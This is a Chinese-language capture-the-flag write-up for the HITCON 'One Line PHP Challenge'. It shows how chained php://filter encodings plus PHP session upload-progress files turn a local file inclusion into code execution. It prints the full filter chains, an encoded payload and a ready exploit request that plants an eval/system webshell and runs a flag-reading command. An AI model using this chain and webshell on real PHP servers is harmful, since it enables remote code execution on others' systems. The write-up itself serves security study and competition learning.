## One Line PHP Challenge ### 题目源码 ![](https://i.imgur.com/iZ9iR9c.png) ### 整体思路 因为`allow_url_include=0 `的缘故,我们不能远程文件包含,所以题目的解题思路很明显: 利用本地文件包含构造一个webshell/包含flag读取flag ### 前期试探 最开始题目没有给环境信息,我想到的是@王一航师傅去年发的一个filter会导致PHP < 7.2异常退出的bug https://www.jianshu.com/p/dfd049924258 ``` php://filter/string.strip_tags/resource=xxx ``` `ps: 这个bug的原因是有一处空指针引用` 本地`ubuntu16+php7.1(apt-get)`最新版本测试是成功的,因为tmp下临时文件得不到回收,可以通过lfi getshell 但是远程却始终不报错,后来放出了题目的环境为`ubuntu18+php7.2`,我开了一台相应环境的云主机,才发现此方法不通,原因有两点: * php7.2修复了这个空指针引用的问题 * ubuntu17之后使用Systemd托管apache和php-fpm,tmp目录被分离开来 后来又试探了一些其他PHP自带的wrapper,无果,最后思路转到php://这个wrapper的filter上。 flag已知部分为开头的`hitcon`(6字节),而他要求的文件开头为`@<?php`恰好也是6字节 搜索有关lfi相关知识的时候偶然看到了一篇 ``` https://gynvael.coldwind.pl/?lang=en&id=671 ``` 这个题目就是通过filter编码flag,使其转成gif头,从而才读取到flag的,但是容错性较高。 后来排除了这个方案,因为就算转换成@<?php的形式,会被当做php代码包含进来,后面的部分无法被获取。 ### get flag 后来在探测ubuntu18+php7.2有什么比较奇怪的系统文件的时候,发现php7.2的session文件存储路径是固定的 `/var/lib/php/sessions`,而不是之前版本(带有日期的子目录下)。恰好apt-get下载的php是默认开启session.upload的,于是便有了一个解题方向。 session upload的说明 ``` https://xz.aliyun.com/t/2148#toc-2 ``` 但是仍有一个问题,session.upload生成的进度文件开头是`upload_progess_` ![](https://i.imgur.com/7SbddJe.png) 于是就用到上面的思路进行碰撞,但是碰撞6字节复杂度相当大,而且还要闭合前面的@<?php,所需要碰撞的字节数>6字节,很显然是不行的。 php://的filter中可以做到内容删除操作的有 ``` consumed string.strip_tags ``` 于是想到只要碰撞第一字节为<(标签的起始),后面可控部分闭合掉它,用一次strip_tags,再把剩下完全可控的内容解码,即可。 base64可解码成`<`的范围是`PA`-`PP`,rot13后是`CN`-`CC`,所以只要前两字节在上面的任意范围内就可以通过filter解码出`<` 在这里可用的操作为 ``` convert.iconv.* (转换编码) convert.base64-en(de)code string.rot13 ``` 且过程中一定要保持大部分可逆,base64decode在块不满的情况下或者中间出现不可解字符的情况下会丢失信息,所以要保持全程的字节数不变,初始数据为整块的形式,base64操作(en,de)对合。 有两个特别有用的编码转化 ``` convert.iconv.UCS-2LE.UCS-2BE convert.iconv.UCS-4LE.UCS-4BE ``` 因为高低位存储的数据相反,可造成2bytes,4bytes的逆序操作 ``` https://www.cnblogs.com/Johness/p/3322445.html ``` 接下来就是要构造一个base64串,前四字节中存在`C`或`P`,且其后的字节范围在以上提到的范围内,然后通过2,4逆序操作可分别将其提升到第一字节,第二字节 最终构造出 ![](https://i.imgur.com/kWW4WTC.png) php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=data://,upload_progress_aadddddd 对应的逆算法 php://filter/convert.base64-encode|convert.iconv.UCS-4LE.UCS-4BE|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.IBM1154.UTF8/resource=data://,xxx 然后使用逆算法编码整块的 ``` >+(编码后的可控部分) ``` 可控部分为 ``` @<?php eval(xxx);?>//aaa... ``` 这里我最终采用的编码形式是`convert.iconv.UTF8.CP1025` (base64太长了,而且不好控制整体的长度使其符合整数块) 编码器 ![](https://i.imgur.com/xiPQQbT.png) `>`+生成的数据放到逆算法器 ![](https://i.imgur.com/oV3eJ84.png) 生成的数据放到upload_progress_aa之后交给题目程序处理 ![](https://i.imgur.com/5gcZChj.png) 然后就是将结果生成文件 我生成的结果为 data://,upload_progress_aaaaaaaaaaaaa%0AA%D0%B8X%C2%98L%D0%AD%C2%9B%C2%84z%D0%9F%C2%9A%09cNM%1B%D0%AD%D0%BA%D1%9F%D1%8C%23%D1%88%D0%B7kS%5BWG.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF 去掉upload_progess_前缀输出到文件中 ![](https://i.imgur.com/2Ga2pCE.png) 然后就可以用session.upload生成webshell了 exp 放在burp里多线程跑一下 ``` POST /?orange=php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_5uu8r952rejihbg033m5mckb17&1=var_dump(file_get_contents('/flag'));system('/read_flag'); HTTP/1.1 Host: 54.250.246.238 Proxy-Connection: keep-alive Content-Length: 27912 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: §null§ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17 ------WebKitFormBoundary2rwkUEtFdqhGMHqV Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 生成的文件内容(parse from file) (注意这里补充一些没用的数据,只有文件够大,才会产生有内容的上传进度文件) ------WebKitFormBoundary2rwkUEtFdqhGMHqV-- ```